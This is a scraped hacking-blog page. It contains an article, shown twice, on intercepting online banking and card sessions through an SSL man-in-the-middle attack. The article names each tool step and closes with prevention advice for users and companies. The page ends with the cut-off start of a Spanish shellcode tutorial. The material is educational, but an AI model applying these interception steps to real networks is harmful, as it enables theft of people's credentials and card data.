style="font-weight: normal;"> <strong>Ethereal</strong> – Use encryption, so that anything sniffed would be difficult or nearly impossible to break. WPA2, which uses AES, is essentially unrealistic to break by a normal hacker. Even WEP will encrypt the data. When in a Public Wireless Hotspot (which generally do not offer encryption), use application layer encryption, like Simplite to encrypt your IM sessions, or use SSL. For corporate users, use IPSec VPN with split-tunneling disabled. This will force all traffic leaving the machine through an encrypted tunnel that would be encrypted with DES, 3DES or AES.</p></span></div><br /><span id="result_box" class="long_text"><span style="background-color: rgb(255, 255, 255);" title="Other options are:"></span><span style="background-color: rgb(255, 255, 255);" title="FTP Upload Information"><br /></span><span style="background-color: rgb(255, 255, 255);" title="Filesize: 3.6 MB"></span></span></div>

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Herramientas esenciales hacking inalámbrico

Essential Wireless Hacking Tools,& the most important wireless hacing tools ,here are the most essential tools for wireless hacking ,guys interested in gaining a deeper knowledge of wireless securi…

Leer más »

Hacking Online Banking and Credit Card Transactions

<div style="text-align: center;"><h4 style="font-weight: bold; text-align: justify;"> Hacking Online Banking and Credit Card Transactions – And How to Prevent It:</h4>Here is process for hacking online banking and credit cards transactions and also a process to prevent from them .<br /><h4 style="font-weight: normal; text-align: justify;">The Scenario</h4><div> </div><p style="text-align: justify;"> You go to a coffee shop for a cup of coffee and to utilize the shop’s Wi-Fi HotSpot to surf the web. You connect to the hotspot network and decide to perform some online banking or to purchase something online. By the way, this could happen to you at home, as well. As an end-user, you <em>feel</em> quite secure, as you see the lock in the bottom corner of your Internet browser, symbolizing that the online banking or online credit card transaction is safe from prying eyes. Your data, including username, password, credit card info, etc. will be encrypted with 128-bit encryption. <em><strong>So it's secure, right?</strong></em> </p><div style="text-align: justify;"> <a href="http://www.spotplex.com/code/743704" target="_blank"><img border="0" src="http://www.spotplex.com/send/743704/no-image.gif?r=http%3A%2F%2Fwww.ethicalhacker.net%2Fcontent%2Fview%2F25%2F24%2F" /></a> </div><p style="text-align: justify;"> It is not uncommon to perform banking and to purchase products online with your credit card. It is also a common thought that doing so is secure, as this is done via SSL. For the most part, this is true and the sessions are secure. Discover Card, for example, posts the following statement on their website: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <img border="0" height="302" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/1.jpg" width="580" /><br /><strong>Figure 1</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The problem is that it is not “virtually impossible” for someone else to see your data, such as login information or credit card numbers. It can actually be relatively easy, as you’ll see, if you as an end-user are not knowledgeable about how you can be exploited and know the signs that this is occurring. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="86" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/2.jpg" width="187" /><br />Figure 2 </strong>(Indicates a Secure SSL Session) </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> Continuing with the scenario, what you didn’t realize is that a hacker has intercepted your Online Banking login credentials and credit card information and can now log into your Online Banking Website or purchase items with your credit card. How is this possible, since SSL was used and is hard to break? The answer is that you made a fatal mistake that subjected you to an SSL Man-in-the-Middle (MITM) attack. </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">The Attack</h4><div style="text-align: justify;"> </div><p style="text-align: justify;"> The fatal flaw that enabled the sensitive information to be stolen is possible when an end-user is not properly educated on an easy to do and well-known SSL exploit – SSL MITM. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong>Here’s how it’s done:</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The hacker goes to coffee shop and connects to the same Wi-Fi network you are connected to. He runs a series of utilities to redirect other user’s data through his machine. He runs a number of other utilities to sniff the data, act as an SSL Certificate Server and to be the Man-the-Middle. The following diagram shows a very simplified graphic of how your SSL Banking session should work under normal conditions, then how it would work during an attack: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="301" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/3.gif" width="575" /><br />Figure 3</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="318" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/4.gif" width="575" /><br />Figure 4</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> An important concept to grasp here is that a certificate is used to establish the secure SSL connection. This is a good thing, if you have a good certificate and are connecting directly to the website to which you intended to use. Then all your data is encrypted from your browser to the SSL website where the bank’s website will use the information from the certificate it gave you to decrypt your data/credentials. If that is <em>truly</em> the case, then it is pretty darn hard for a hacker to decrypt the data/credentials being transmitted, even if he is able to sniff your data. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> This is a bad thing if you have a “Fake” certificate being sent from the hacker, and you are actually connecting to his machine, not directly to the bank’s website. In this case, your credentials are being transmitted between your browser and the hacker’s machine. The hacker is able to grab that traffic, and, because he gave you the certificate to encrypt the data/credentials, he can use that same certificate to decrypt your data/credentials. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong>Here are the exact steps a hacker could use to perform this attack:</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The first thing he would do is turn on <strong>Fragrouter</strong>, so that his machine can perform IP forwarding </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/5.jpg" width="607" /><br />Figure 5</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> After that, he’ll want to direct your Wi-Fi network traffic to his machine instead of your data traffic going directly to the Internet. This enables him to be the “Man-in-the-Middle” between your machine and the Internet. Using <strong>Arpspoof</strong>, a real easy way to do this, he determines your IP address is 192.168.1.15 and the Default Gateway of the Wi-Fi network is 192.168.1.1: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/6.jpg" width="607" /><br />Figure 6</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The next step is to enable DNS Spoofing via <strong>DNSSpoof</strong>: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/7.jpg" width="607" /><br />Figure 7</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> Since he will be replacing the Bank's or Online Store’s valid certificate with his own fake one, he will need to turn on the utility to enable his system to be the Man-in-the-Middle for web sessions and to handle certificates. This is done via <strong>webmitm</strong>: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/8.jpg" width="607" /><br />Figure 8</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> At this point, he is setup and ready to go, he now needs to begin actively sniffing your data passing through his machine including your login information and credit card info. He opts to do this with <strong>Ethereal</strong>, then saves his capture: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="384" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/9.gif" width="464" /><br />Figure 9</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> He now has the data, but it is still encrypted with 128-bit SSL. No problem, since he has the key. What he simply needs to do now is decrypt the data using the certificate that he gave you. He does this with <strong>SSL Dump</strong>: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/10.gif" width="607" /><br />Figure 10</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The data is now decrypted and he runs a Cat command to view the now decrypted SSL information. Note that the username is “Bankusername” and the password is “BankPassword”. Conveniently, this dump also shows that the Banking site as National City. FYI, the better, more secure banking and online store websites will have you first connect to another, preceeding page via SSL, prior to connecting to the page where you enter the sensitive information such as bank login credentials or credit card numbers. The reason for this is to stop the MITM-type attack. How this helps is that if you were to access this preceeding page first with a "fake" certificate and then proceeded to the next page where you were to enter the sensitve information, that page where you would enter the sensitive information would not display. That is because the page gathering the sensitive information would be expecting a valid certificate, which it would not receive because of the Man-in-the-Middle. While some online banks and stores do implement this extra step/page for security reasons, the real flaw in this attack is the uneducated end-user, as you'll soon see: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="398" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/11.jpg" width="641" /><br />Figure 11</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> With this information, he can now log into your Online Banking Account with the same access and privileges as you. He could transfer money, view account data, etc. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> Below is an example of a sniffed SSL credit card purchase/transaction. You can see that Elvis Presley was attempting to make a purchase with his credit card 5440123412341234 with an expiration date of 5/06 and the billing address of Graceland in Memphis, TN (He is alive!). If this was your information, the hacker could easily make online purchases with your card. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/12.jpg" width="607" /><br />Figure 12</strong> </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">Also Real Bad News for SSL VPN Admins</h4><div style="text-align: justify;"> </div><p style="text-align: justify;"> This type of attack could be particularly bad for corporations. The reason for this is that Corporate SSL VPN solutions are also vulnerable to this type of attack. Corporate SSL VPN solutions will often authenticate against Active Directory, the NT Domain, LDAP or some other centralized credentials data store. Sniffing the SSL VPN login then gives an attacker valid credentials to the corporate network and other systems. </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">What an End-User Needs To Know</h4><div style="text-align: justify;"> </div><p style="text-align: justify;"> There’s a big step and end-user can take to prevent this from taking place. When the MITM Hacker uses the “bad” certificate instead of the “good”, valid certificate, the end-user is actually alerted to this. The problem is that most end-users don’t understand what this means and will unknowingly agree to use the fake certificate. Below is an example of the Security Alert an end-user would receive. Most uneducated end-users would simply click “Yes”… and this is the fatal flaw: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="300" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/13.jpg" width="382" /><br />Figure 13</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> By clicking “Yes”, they have set themselves up to be hacked. By clicking the “View Certificate” button, the end-user would easily see that there is a problem. Below are examples of the various certificate views/tabs that show a good certificate compared to the bad certificate: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="332" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/14.jpg" width="576" /><br />Figure 14</strong><br />(Good Certificate) (Bad Certificate) </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="339" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/15.jpg" width="575" /><br />Figure 15</strong><br />(Good Certificate) (Bad Certificate) </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img align="middle" border="0" height="336" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/16.jpg" width="575" /><br />Figure 16</strong><br />(Good Certificate) (Bad Certificate) </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">How an End-User Can Prevent This</h4><div style="text-align: justify;"> </div><ul style="text-align: justify;"><li> <p> Again, the simple act of viewing the certificate and clicking “No” would have prevented this from happening. </p> </li><li> <p> Education is the key for an end-user. If you see this message, take the time to view the certificate. As you can see from the examples above, you can tell when something doesn’t look right. If you can’t tell, err on the side of caution and call your Online Bank or the Online store. </p> </li><li> <p> Take the time to read and understand all security messages you receive. Don’t just randomly click yes out of convenience. </p> </li></ul><div style="text-align: justify;"> </div><h4 style="text-align: justify;">How a Corporation Can Prevent This</h4><div style="text-align: justify;"> </div><ul style="text-align: justify;"><li> <p> Educate the end-user on the Security Alert and how to react to it. </p> </li><li> <p> Utilize One Time Passwords, such as RSA Tokens, to prevent the reuse of sniffed credentials. </p> </li><li> <p> When using SSL VPN, utilize mature products with advanced features, such as Juniper’s Secure Application Manager or Network Connect functionality. </p> </li></ul><div style="text-align: justify;"> </div><br /></div>

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Hacking Online Banking and Credit Card Transactions

Hacking Online Banking and Credit Card Transactions – And How to Prevent It:Here is process for hacking online banking and credit cards transactions and also a process to prevent from them .The …

Leer más »

Hacking Online Banking and Credit Card Transactions

<div style="text-align: center;"><h4 style="font-weight: bold; text-align: justify;"> Hacking Online Banking and Credit Card Transactions – And How to Prevent It:</h4>Here is process for hacking online banking and credit cards transactions and also a process to prevent from them .<br /><h4 style="font-weight: normal; text-align: justify;">The Scenario</h4><div> </div><p style="text-align: justify;"> You go to a coffee shop for a cup of coffee and to utilize the shop’s Wi-Fi HotSpot to surf the web. You connect to the hotspot network and decide to perform some online banking or to purchase something online. By the way, this could happen to you at home, as well. As an end-user, you <em>feel</em> quite secure, as you see the lock in the bottom corner of your Internet browser, symbolizing that the online banking or online credit card transaction is safe from prying eyes. Your data, including username, password, credit card info, etc. will be encrypted with 128-bit encryption. <em><strong>So it's secure, right?</strong></em> </p><div style="text-align: justify;"> <a href="http://www.spotplex.com/code/743704" target="_blank"><img border="0" src="http://www.spotplex.com/send/743704/no-image.gif?r=http%3A%2F%2Fwww.ethicalhacker.net%2Fcontent%2Fview%2F25%2F24%2F"></a> </div><p style="text-align: justify;"> It is not uncommon to perform banking and to purchase products online with your credit card. It is also a common thought that doing so is secure, as this is done via SSL. For the most part, this is true and the sessions are secure. Discover Card, for example, posts the following statement on their website: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <img border="0" height="302" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/1.jpg" width="580"><br /><strong>Figure 1</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The problem is that it is not “virtually impossible” for someone else to see your data, such as login information or credit card numbers. It can actually be relatively easy, as you’ll see, if you as an end-user are not knowledgeable about how you can be exploited and know the signs that this is occurring. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="86" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/2.jpg" width="187"><br />Figure 2 </strong>(Indicates a Secure SSL Session) </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> Continuing with the scenario, what you didn’t realize is that a hacker has intercepted your Online Banking login credentials and credit card information and can now log into your Online Banking Website or purchase items with your credit card. How is this possible, since SSL was used and is hard to break? The answer is that you made a fatal mistake that subjected you to an SSL Man-in-the-Middle (MITM) attack. </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">The Attack</h4><div style="text-align: justify;"> </div><p style="text-align: justify;"> The fatal flaw that enabled the sensitive information to be stolen is possible when an end-user is not properly educated on an easy to do and well-known SSL exploit – SSL MITM. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong>Here’s how it’s done:</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The hacker goes to coffee shop and connects to the same Wi-Fi network you are connected to. He runs a series of utilities to redirect other user’s data through his machine. He runs a number of other utilities to sniff the data, act as an SSL Certificate Server and to be the Man-the-Middle. The following diagram shows a very simplified graphic of how your SSL Banking session should work under normal conditions, then how it would work during an attack: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="301" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/3.gif" width="575"><br />Figure 3</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="318" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/4.gif" width="575"><br />Figure 4</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> An important concept to grasp here is that a certificate is used to establish the secure SSL connection. This is a good thing, if you have a good certificate and are connecting directly to the website to which you intended to use. Then all your data is encrypted from your browser to the SSL website where the bank’s website will use the information from the certificate it gave you to decrypt your data/credentials. If that is <em>truly</em> the case, then it is pretty darn hard for a hacker to decrypt the data/credentials being transmitted, even if he is able to sniff your data. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> This is a bad thing if you have a “Fake” certificate being sent from the hacker, and you are actually connecting to his machine, not directly to the bank’s website. In this case, your credentials are being transmitted between your browser and the hacker’s machine. The hacker is able to grab that traffic, and, because he gave you the certificate to encrypt the data/credentials, he can use that same certificate to decrypt your data/credentials. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong>Here are the exact steps a hacker could use to perform this attack:</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The first thing he would do is turn on <strong>Fragrouter</strong>, so that his machine can perform IP forwarding </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/5.jpg" width="607"><br />Figure 5</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> After that, he’ll want to direct your Wi-Fi network traffic to his machine instead of your data traffic going directly to the Internet. This enables him to be the “Man-in-the-Middle” between your machine and the Internet. Using <strong>Arpspoof</strong>, a real easy way to do this, he determines your IP address is 192.168.1.15 and the Default Gateway of the Wi-Fi network is 192.168.1.1: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/6.jpg" width="607"><br />Figure 6</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The next step is to enable DNS Spoofing via <strong>DNSSpoof</strong>: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/7.jpg" width="607"><br />Figure 7</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> Since he will be replacing the Bank's or Online Store’s valid certificate with his own fake one, he will need to turn on the utility to enable his system to be the Man-in-the-Middle for web sessions and to handle certificates. This is done via <strong>webmitm</strong>: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/8.jpg" width="607"><br />Figure 8</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> At this point, he is setup and ready to go, he now needs to begin actively sniffing your data passing through his machine including your login information and credit card info. He opts to do this with <strong>Ethereal</strong>, then saves his capture: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="384" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/9.gif" width="464"><br />Figure 9</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> He now has the data, but it is still encrypted with 128-bit SSL. No problem, since he has the key. What he simply needs to do now is decrypt the data using the certificate that he gave you. He does this with <strong>SSL Dump</strong>: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/10.gif" width="607"><br />Figure 10</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> The data is now decrypted and he runs a Cat command to view the now decrypted SSL information. Note that the username is “Bankusername” and the password is “BankPassword”. Conveniently, this dump also shows that the Banking site as National City. FYI, the better, more secure banking and online store websites will have you first connect to another, preceeding page via SSL, prior to connecting to the page where you enter the sensitive information such as bank login credentials or credit card numbers. The reason for this is to stop the MITM-type attack. How this helps is that if you were to access this preceeding page first with a "fake" certificate and then proceeded to the next page where you were to enter the sensitve information, that page where you would enter the sensitive information would not display. That is because the page gathering the sensitive information would be expecting a valid certificate, which it would not receive because of the Man-in-the-Middle. While some online banks and stores do implement this extra step/page for security reasons, the real flaw in this attack is the uneducated end-user, as you'll soon see: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="398" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/11.jpg" width="641"><br />Figure 11</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> With this information, he can now log into your Online Banking Account with the same access and privileges as you. He could transfer money, view account data, etc. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> Below is an example of a sniffed SSL credit card purchase/transaction. You can see that Elvis Presley was attempting to make a purchase with his credit card 5440123412341234 with an expiration date of 5/06 and the billing address of Graceland in Memphis, TN (He is alive!). If this was your information, the hacker could easily make online purchases with your card. </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="377" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/12.jpg" width="607"><br />Figure 12</strong> </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">Also Real Bad News for SSL VPN Admins</h4><div style="text-align: justify;"> </div><p style="text-align: justify;"> This type of attack could be particularly bad for corporations. The reason for this is that Corporate SSL VPN solutions are also vulnerable to this type of attack. Corporate SSL VPN solutions will often authenticate against Active Directory, the NT Domain, LDAP or some other centralized credentials data store. Sniffing the SSL VPN login then gives an attacker valid credentials to the corporate network and other systems. </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">What an End-User Needs To Know</h4><div style="text-align: justify;"> </div><p style="text-align: justify;"> There’s a big step and end-user can take to prevent this from taking place. When the MITM Hacker uses the “bad” certificate instead of the “good”, valid certificate, the end-user is actually alerted to this. The problem is that most end-users don’t understand what this means and will unknowingly agree to use the fake certificate. Below is an example of the Security Alert an end-user would receive. Most uneducated end-users would simply click “Yes”… and this is the fatal flaw: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="300" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/13.jpg" width="382"><br />Figure 13</strong> </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> By clicking “Yes”, they have set themselves up to be hacked. By clicking the “View Certificate” button, the end-user would easily see that there is a problem. Below are examples of the various certificate views/tabs that show a good certificate compared to the bad certificate: </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="332" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/14.jpg" width="576"><br />Figure 14</strong><br />(Good Certificate) (Bad Certificate) </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img border="0" height="339" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/15.jpg" width="575"><br />Figure 15</strong><br />(Good Certificate) (Bad Certificate) </p><div style="text-align: justify;"> </div><p style="text-align: justify;"> <strong><img align="middle" border="0" height="336" src="http://www.ethicalhacker.net/images/stories/columns/hoffman/feb06/16.jpg" width="575"><br />Figure 16</strong><br />(Good Certificate) (Bad Certificate) </p><div style="text-align: justify;"> </div><h4 style="text-align: justify;">How an End-User Can Prevent This</h4><div style="text-align: justify;"> </div><ul style="text-align: justify;"><li> <p> Again, the simple act of viewing the certificate and clicking “No” would have prevented this from happening. </p> </li><li> <p> Education is the key for an end-user. If you see this message, take the time to view the certificate. As you can see from the examples above, you can tell when something doesn’t look right. If you can’t tell, err on the side of caution and call your Online Bank or the Online store. </p> </li><li> <p> Take the time to read and understand all security messages you receive. Don’t just randomly click yes out of convenience. </p> </li></ul><div style="text-align: justify;"> </div><h4 style="text-align: justify;">How a Corporation Can Prevent This</h4><div style="text-align: justify;"> </div><ul style="text-align: justify;"><li> <p> Educate the end-user on the Security Alert and how to react to it. </p> </li><li> <p> Utilize One Time Passwords, such as RSA Tokens, to prevent the reuse of sniffed credentials. </p> </li><li> <p> When using SSL VPN, utilize mature products with advanced features, such as Juniper’s Secure Application Manager or Network Connect functionality. </p> </li></ul><div style="text-align: justify;"> </div><br /></div>

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Hacking Online Banking and Credit Card Transactions

Hacking Online Banking and Credit Card Transactions – And How to Prevent It:Here is process for hacking online banking and credit cards transactions and also a process to prevent from them .The …

Leer más »

Que es una shellcode ?

<div style="text-align: center;">En este post voy a introducir el concepto de <b>shellcode</b> para los que recien empiezan o capas para los que ya lo vieron pero no llegaron a entender como funciona. Usare un sistema Linux 32 bits para realizar las demostraciones.<br /><br /><b>Que significa shellcode?</b><br />Primero necesitamos saber el significado etimologico de shellcode.<br />Shell es como se le dice en ingles (ahora universal) a una terminal. Por lo tanto shellcode significa que es un codigo que nos crea una terminal para que la usemos.<br />Actualmente el termino shellcode no solo se refiere al codigo que nos permite crear una shell, sino que se extiende a codigos con mas funciones como pueden ser crear usuarios, matar/crear un determinado proceso, dar permisos a una carpeta, etc.<br /><br />Y tecnicamente... una shellcode es una porcion de codigo compilada para un determinado procesador que se ejecuta dentro de otro proceso previamente preparado para que la ejecute (ej: stack overflow).<br /><br /><b>Como creamos una shellcode?</b><br />Generalmente se hacen en lenguaje <b>ASM</b> (<b>assembler</b>) para poder tener un control total del proceso ya que en C se agregan partes de codigo que no podemos controlar, ni hablar de otros lenguajes que ni siquiera pueden compilarse a codigo nativo del procesador (.NET, VB, Java, etc).<br />Ya sabemos que no tenemos muchos lenguajes para elegir jeje, asm de x86 (el procesador que usan las pcs) tiene dos sintaxis, la de Intel y la de AT&T, yo prefiero la segunda pero ya que la de Intel es mas popular usaremos esa.<br />Tambien necesitamos saber que una shellcode tiene que ser lo mas corta y portable posible, es por eso que usaremos llamadas al sistema y no llamaremos a la libc u otras librerias. La forma de llamar al sistema/kernel en *nix es mediante la interrupcion 0x80.<br />Tanta teoria se esta volviendo aburrida asi que vamos a los hechos, aca tenemos una shellcode bien simple que solamente cierra el programa llamando a exit(0).<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (asm):</div>BITS <span style="color: #ff0000;">32</span><br /><span style="color: #0000ff;">exit</span>:<br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">ebx</span>,<span style="color: #46aa03; font-weight:bold;">ebx</span> <span style="color: #adadad; font-style: italic;">;ponemos 0 como argumento de exit</span><br /> <span style="color: #00007f;">xor</span> <span style="color: #46aa03; font-weight:bold;">eax</span>,<span style="color: #46aa03; font-weight:bold;">eax</span> <span style="color: #adadad; font-style: italic;">;limpiamos eax y ebx</span><br /> <span style="color: #00007f;">mov</span> <span style="color: #46aa03; font-weight:bold;">al</span>,0x01 <span style="color: #adadad; font-style: italic;">;ponemos 1 en eax (es el codigo de la syscall exit)</span><br /> <span style="color: #00007f;">int</span> 0x80 <span style="color: #adadad; font-style: italic;">;finalmente llamamos a la interrupcion</span><br /> <div style="border-top : 1px solid gray; margin-top: 0.3em;"> </div></pre>Ahi hicimos nuesta primer "shellcode".<br /><br /><b>Como extraemos los bytes u opcodes?</b><br />Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:<br />~$ nasm exit.asm<br />si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con<br />~$ ndisasm-b 32 exit<br />y nos mostrara el desensamblado del codigo con sus respectivos opcodes:<br />00000000 31DB xor ebx,ebx<br />00000002 31C0 xor eax,eax<br />00000004 B001 mov al,0x1<br />00000006 CD80 int 0x80<br />Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:<br /><div class="codeheader">Código</div><pre class="geshi"><div style="border-bottom : 1px solid gray; margin-bottom: 0.3em;">Code (python):</div><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span><br /><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">binascii</span> <span style="color: #ff7700;font-weight:bold;">import</span> *<br /><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span><br /><br />files = <span style="color: white;">{</span><span style="color: white;">}</span><br />length = <span style="color: white;">[</span><span style="color: white;">]</span><br /><br /><span style="color: #ff7700;font-weight:bold;">def</span> write<span style="color: white;">(</span><span style="color: #dc143c;">string</span><span style="color: white;">)</span>:<br /> <span style="color: #dc143c;">sys</span>.<span style="color: #B9CCD2;">stdout</span>.<span style="color: #B9CCD2;">write</span><span style="color: white;">(</span><span style="color: #dc143c;">string</span><span style="color: white;">)</span><br /><br /><span style="color: #ff7700;font-weight:bold;">def</span> process_file<span style="color: white;">(</span><span style="color: #008000;">file</span><span style="color: white;">)</span>:<br /> source = <span style="color: #008000;">open</span><span style="color: white;">(</span><span style="color: #008000;">file</span>,<span style="color: #483d8b;">"rb"</span><span style="color: white;">)</span><br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"char shellcode[]=<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span>"</span><span style="color: white;">)</span><br /> i = <span style="color: #ff4500;">1</span><br /> l = <span style="color: #ff4500;">0</span><br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\"</span>"</span><span style="color: white;">)</span><br /> <span style="color: #ff7700;font-weight:bold;">for</span> data <span style="color: #ff7700;font-weight:bold;">in</span> source.<span style="color: #B9CCD2;">read</span><span style="color: white;">(</span><span style="color: white;">)</span>:<br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\\</span>x"</span><span style="color: white;">)</span><br /> write<span style="color: white;">(</span>b2a_hex<span style="color: white;">(</span>data<span style="color: white;">)</span><span style="color: white;">)</span><br /> <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: white;">(</span>i % <span style="color: #ff4500;">15</span><span style="color: white;">)</span>==<span style="color: #ff4500;">0</span>:<br /> write<span style="color: white;">(</span><span style="color: #483d8b;">"<span style="color: #000099; font-weight: bold;">\"</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\"</span>"</span><span style="color: white;">)</span><br /> i+=<span style="color: #ff4500;">1</span><br /> l+=<span 